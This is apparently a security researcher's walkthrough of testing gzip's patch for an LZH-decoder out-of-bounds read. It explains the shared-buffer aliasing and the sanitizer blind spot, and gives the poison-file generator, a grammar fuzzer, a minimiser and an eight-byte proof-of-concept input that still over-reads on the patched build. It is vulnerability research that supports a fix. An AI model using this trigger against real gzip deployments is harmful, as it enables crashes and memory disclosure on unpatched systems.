← zer0d4y5 · security research
walkthrough · GNU gzip

Checking gzip's .lzh patch

Notes from working CVE-2026-41992's fix commit: how the aliasing is set up, why AddressSanitizer was useless on my machine, the generator, and shrinking a candidate down to eight bytes. Commands included.

Elias Hasas · @zer0d4y5 gzip / unlzh.c the finding itself →

Michał Majchrowicz and Marcin Wyczechowski at AFINE found an out of bounds read in gzip's LZH decoder, and Paul Eggert fixed it in 63dbf6b3 back in April. I went through that commit in July to see whether it covered everything, and it didn't quite, so this is the working process rather than the result. The finding is written up separately.

Fix commits are good places to look because the expensive work is done for you. Somebody has already established that the code can be driven into a bad state and roughly how; you're only checking whether the patch covers every path into it. The failure mode is that a patch fixes the reported reproducer instead of the underlying condition, which happens more often on old code where the author is nervous about breaking something.

Everything below reruns. Three binaries, identical except for unlzh.c, which I pull from upstream git at three revisions and drop into a stock gzip 1.13 tree.

§1The aliasing

CERT-PL's text for the parent CVE says the bug involves global state shared between the LZW and LZH decoders that never gets reinitialised between files. That's more specific than most decompressor advisories, and it means the bug needs two inputs in one process instead of one malformed file, so before writing any harness I wanted to see the sharing in the source.

It isn't hidden. gzip has reused buffers across its decompressors since the early nineties, back when 64 KB was worth saving, and the reuse is written down as macros:

$ git show 63dbf6b3:unlzh.c | grep -n '^#define \(left\|right\|c_table\|c_len\)'
64:#define left  prev
65:#define right head
71:#define c_len outbuf
81:#define c_table d_buf

left and right are the Huffman tree the LZH decoder walks for every symbol it decodes, and neither is its own allocation. Following the names one more level:

$ git show 63dbf6b3:gzip.h | grep -n 'define tab_prefix\|define head\|define WSIZE'
119:#  define tab_prefix prev    /* hash link (see deflate.c) */
120:#  define head (prev+WSIZE)  /* hash head (see deflate.c) */
172:#  define WSIZE 0x8000     /* window size--must be a power of two, and */

$ git show 63dbf6b3:gzip.c | grep -n 'DECLARE(ush, tab_prefix'
141:    DECLARE(ush, tab_prefix, 1L<<BITS);

$ git show 63dbf6b3:lzw.h | grep -n 'define BITS'
20:#  define BITS 16

So there's one array of 65536 ush, called prev. left is that array from index zero, right is the same array offset by 32768, and both of them are also the LZW prefix table that a .Z member fills with values as large as 65535. Reading right[i] for any i at or above 32768 goes off the end of the allocation. In a well formed Huffman table the walk hits a leaf after a few hops and the index stays tiny, so nobody ever bounds checked it.

Somebody did think about the overlap at some point. Four lines under the two defines there's a compile time assertion about it:

#define left  prev
#define right head
#if NC > (1<<(BITS-2))
    error cannot overlay left+right and prev
#endif

It checks the two arrays fit inside prev without colliding. Nothing there says anything about what's in them when the LZH decoder starts.

Which functions touch the arrays

Grepping the names gives line numbers without telling you what function you're in, and I wanted the enclosing function for each hit, so:

$ python3 - <<'PY'
import re
lines = open('unlzh.c').read().split('\n')
fn = '(top level)'
for i, l in enumerate(lines, 1):
    m = re.match(r'^(\w+)\s*\(', l)
    if m and not l.startswith(' '): fn = m.group(1)
    if re.search(r'\b(left|right)\s*\[', l) and not l.strip().startswith('/*'):
        print(f"{fn:<14} unlzh.c:{i:<4} {l.strip()}")
PY
make_table     unlzh.c:174  right[avail] = left[avail] = 0;
make_table     unlzh.c:177  if (k & mask) p = &right[*p];
make_table     unlzh.c:178  else          p = &left[*p];
read_c_len     unlzh.c:248  if (bitbuf & mask) c = right[c];
read_c_len     unlzh.c:249  else               c = left [c];
decode_c       unlzh.c:285  if (bitbuf & mask) j = right[j];
decode_c       unlzh.c:286  else               j = left [j];
decode_p       unlzh.c:303  if (bitbuf & mask) j = right[j];
decode_p       unlzh.c:304  else               j = left [j];

make_table writes them while building a table; the other three read them while walking one. Then the patch itself:

$ git show 63dbf6b3:unlzh.c | grep -n 'memzero'
239:        memzero(left, (2 * NC - 1) * sizeof *left);
240:        memzero(right, (2 * NC - 1) * sizeof *left);

Both memzeros are inside read_c_len, at 239, and the walk in the same function is at 248, nine lines below. That's close enough that you'd assume it's covered until you look at what's between them, which is the } closing the if (n == 0) block and the else opening the other one. The clear runs on one branch and the walk I care about lives on the other. Reading that far took maybe twenty minutes and told me nothing about whether the else branch was actually reachable with a poisoned array, which is the rest of the work.

§2Three binaries

Nothing clever here. Configure the 1.13 tarball once with ASan, then swap unlzh.c and rebuild for each revision. The full make has to happen once before make gzip works, because version.h and the lib/ gnulib objects get generated during it, which cost me a confused couple of minutes.

$ curl -fsSL https://ftp.gnu.org/gnu/gzip/gzip-1.13.tar.xz | tar xJ
$ cd gzip-1.13
$ ./configure CFLAGS="-fsanitize=address -g -O0 -fno-omit-frame-pointer" \
              LDFLAGS="-fsanitize=address"
$ make            # once, for version.h and lib/

$ for rev in '63dbf6b3^' 63dbf6b3 e7378c2; do
    git -C ../gzip-git show "$rev":unlzh.c > unlzh.c
    rm -f gzip unlzh.o && make gzip >/dev/null && cp gzip ../gzip.$rev
  done

Feeding the known bad pair to the unpatched build produced nothing at all. Exit zero, empty stderr, no sanitizer output:

$ ASAN_OPTIONS=detect_leaks=0 ./gzip.vuln -dc poison.Z minimal.lzh >/dev/null
$ echo "exit=$?  stderr=$(wc -c < asan.err) bytes  reports=$(grep -c AddressSanitizer asan.err)"
exit=0  stderr=0 bytes  reports=0

I spent about an hour on the assumption that I'd built it wrong, checking that unlzh.o was actually being recompiled and that the LZH path was reached at all, before working out that the build was fine. The read overshoots by 26164 bytes on this input. ASan's redzone around a global is far smaller than that, so the access sails over the redzone entirely and lands inside some other global variable, which is memory the process legitimately owns and the sanitizer has no complaint about. On the Linux box where the original crash was reported, the same overshoot happens to land on an unmapped page and you get a SEGV.

worth knowing

A sanitizer is an oracle for the memory errors it can observe, and a global over-read that stays inside the data segment isn't one of them once you're past the redzone. On a bug that was already confirmed to exist I would have concluded there was nothing there, on a machine where the tooling was working exactly as designed.

Instrumenting the index instead

The property I actually care about is arithmetic rather than a fault: does the walk ever compute an index at or above 32768. That's checkable in the source and doesn't depend on what the linker put after prev. I wrapped all three walk sites, generated by script so every build gets byte identical instrumentation:

what each walk site becomes
{ int _r = (bitbuf & mask) ? 1 : 0; unsigned _i = (unsigned)c;
  if (_r && _i >= 32768)
    fprintf(stderr, "[OOB:%s] right[%u] == prev[%u] / 65536\n", __func__, _i, 32768u + _i);
  if (_r) c = right[c]; else c = left[c]; }

Tagging with __func__ turned out to matter later, when the per sink counts contradicted something I'd written in the first draft of the report.

§3Does the poison actually work

The bug needs the arrays full of LZW state. If my .Z file doesn't drive LZW to codes above 32768 then no .lzh body can reach out of bounds, and I'd be fuzzing something that cannot fail while getting the same clean result I'd get from correctly patched code. So I printed the array contents at huf_decode_start before anything else, counting slots in the walk's entry region large enough to go out of bounds on the next hop:

$ gzip -dc evil.lzh                 # nothing in front of it
poison probe: right[0..1018]  nonzero-sum=0  max=0  slots>=32768: 0

$ gzip -dc benign.gz evil.lzh       # deflate first
poison probe: right[0..1018]  nonzero-sum=0  max=0  slots>=32768: 0

$ gzip -dc poison.Z evil.lzh        # LZW first, same process
poison probe: right[0..1018]  nonzero-sum=30670231  max=32962  slots>=32768: 34

The middle run is the one I'd have skipped in a hurry. Putting a .gz in front leaves the arrays untouched, since inflate works out of window and never goes near prev, so only the LZW path poisons and the bug is genuinely cross format rather than gzip being sloppy with malformed .lzh input generally.

Those 34 slots are what the walk has to land on. Entry into the walk happens at an index bounded by make_table's node range, so the first read is always in bounds and it's the value sitting there that's uncontrolled.

Generating the poison is dull. Around 400 KB of bytes with enough distinct substrings that LZW allocates codes past 32768, then compress with a 16 bit code size:

$ python3 -c "
d=bytearray()
for i in range(200000): d += bytes([(i*73+13)&0xff, (i>>3)&0xff])
open('poison.raw','wb').write(bytes(d))"
$ compress -b 16 -f -c poison.raw > poison.Z

macOS ships a compress that handles -b 16 fine. On Debian derivatives you want the ncompress package.

§4The generator

Random bytes behind the LZH magic get you nowhere. The decoder reads a block size and then three Huffman tables, and a random bitstream fails make_table's consistency check with "Bad table" before any tree is walked, so the input has to be shaped like a valid header and wrong only in the one place I want it wrong.

The generator writes bits and follows the grammar the decoder expects. At each of the three table reads it picks between the degenerate n == 0 encoding and a real table, weighted, because n == 0 is the branch the patch guards and I want both sides represented:

generator, abridged
def gen(r):
    w = BW()
    w.put(r.randint(1, 6), 16)                  # blocksize, nonzero

    # read_pt_len(NT=19, nbit=5, special=3)
    if r.random() < 0.7:
        w.put(0, 5); w.put(r.randint(0, 31), 5)  # degenerate: pt_table = const
    else:
        w.put(r.randint(1, 19), 5)
        for _ in range(20): w.put(r.getrandbits(3), 3)

    # read_c_len(nbit=9)  <-- the branch that matters
    if r.random() < 0.6:
        w.put(0, 9); w.put(r.choice([510, 511, r.randint(256, 511)]), 9)
    else:
        w.put(r.randint(1, 40), 9)               # n != 0 -> else-branch, no memzero
        for _ in range(40): w.put(r.getrandbits(4), 4)

    # read_pt_len(NP=14, nbit=4, special=-1)
    if r.random() < 0.7:
        w.put(0, 4); w.put(r.choice([14, 15, r.randint(0, 15)]), 4)
    else:
        w.put(r.randint(1, 14), 4)
        for _ in range(15): w.put(r.getrandbits(3), 3)

    # trailing bits: these steer the tree walks
    for _ in range(r.randint(20, 120)): w.put(r.getrandbits(1), 1)
    return LZH_MAGIC + w.bytes()

Pushing a constant at or above the symbol bound into a degenerate table is what forces a walk, since every lookup then returns something the decoder reads as "not a leaf yet" and it keeps hopping. The trailing random bits do the steering, one bit consumed per hop to choose left or right, so that tail is effectively the path through the poisoned array and it's where most of the search happens.

Oracle is the instrumented build, so hits arrive as stderr lines rather than signals:

$ python3 hunt.py 4000 11 6
  [ 1] exec 48     15 bytes    1 OOB reads  first sink: decode_p
  [ 2] exec 49     41 bytes   80 OOB reads  first sink: read_c_len
  [ 3] exec 56     42 bytes   26 OOB reads  first sink: read_c_len
  [ 4] exec 108    13 bytes   12 OOB reads  first sink: decode_p
  [ 5] exec 151    39 bytes   21 OOB reads  first sink: read_c_len
  [ 6] exec 225    34 bytes   25 OOB reads  first sink: read_c_len

6 candidates in 226 execs, 11s

Two of the six come in through decode_p and four through read_c_len, and against the patched build only the read_c_len ones survive, which is the distinction the whole report rests on. Eleven seconds for six candidates is the grammar doing the work; unstructured mutation would still be printing "Bad table".

§5Minimising

Truncate from the tail to the shortest surviving prefix, then try zeroing each byte that's left. The predicate is the part that needs thought: I shrink against the patched build, because anything that only reproduces on the unpatched one is a rediscovery of the parent CVE.

def still_oob(body):
    open("shrink.lzh", "wb").write(body)
    r = subprocess.run(["./gzipT.official", "-dc", POISON, "shrink.lzh"],
                       capture_output=True, timeout=20)
    return b"[OOB:" in r.stderr

lo = 2
while lo < len(body) and not still_oob(body[:lo]): lo += 1
if lo < len(body): body = body[:lo]

for i in range(2, len(body)):
    for v in (0x00, 0x01):
        cand = body[:i] + bytes([v]) + body[i+1:]
        if cand != body and still_oob(cand): body = cand; break
$ python3 shrink.py
start: 41 bytes  1f a0 00 02 07 c5 08 53 72 49 77 aa dc 62 d7 a8 23 3e 06 f5
                 14 c8 06 0d 55 60 41 dd f7 34 e9 a9 e6 b2 15 54 7c bd 06 f4 38
truncate: 41 -> 8 bytes
final: 8 bytes  1f a0 01 00 07 01 00 53

Truncation gets it to length in one pass and the byte loop then rewrites four of the six body bytes, at offsets 2, 3, 5 and 6, so the surviving file isn't a prefix of what went in. Eight is where it stops because that's two bytes of magic plus the header fields the decoder has to read before a walk can happen at all. This isn't the same eight byte file I sent Eggert in July; that one was 1f a0 00 05 04 c3 00 f3, from a different seed on a different machine. Two runs landing on eight independently is reasonable evidence that eight is the floor.

§6The PoC

The claim being made isn't that gzip crashes, it's that a build carrying the official fix still reads out of bounds and that the cross format poison is what causes it, so the PoC is four runs:

$ xxd minimal.lzh
00000000: 1fa0 0100 0701 0053                      .......S

$ for b in vuln official betterfix; do ... done
  vuln       exit=0  OOB reads=8   [OOB:read_c_len] right[45850]==prev[78618]/65536
  official   exit=0  OOB reads=8   [OOB:read_c_len] right[45850]==prev[78618]/65536
  betterfix  exit=0  OOB reads=0

$ ./gzipT.official -dc minimal.lzh     # control: no poison in front
  exit=0  OOB reads=0

Same count and same index on the patched build as on the unpatched one, zero on the follow up patch, and zero when you drop the .Z from the front. That last row is what rules out the alternative explanation, that the .lzh is simply malformed in a way that upsets the decoder on its own.

The hop trace on the patched binary shows the walk getting from a legal entry index to an address well past the array:

$ ./gzip.trace -dc poison.Z minimal.lzh >/dev/null   # 63dbf6b3 applied
read_c_len: else-branch taken, entry c=28 >= NT=19, walking the tree
  right[   28] -> 25751
  left [25751] -> 22505
  left [22505] -> 17131
  right[17131] -> 45850
  right[45850] ->     0   OUT OF BOUNDS: that is prev[78618] of prev[65536]

Entry index 28 is small and perfectly legal, and right[28] resolves to prev[32796], which is in bounds but holding leftover LZW state instead of a tree node. Every value after that comes from whatever the .Z member left behind, so four hops later the index is 45850 and the read is prev[78618] against an array that ends at 65536. Then the walk terminates, because whatever it read out there happened to be a zero.

§7Notes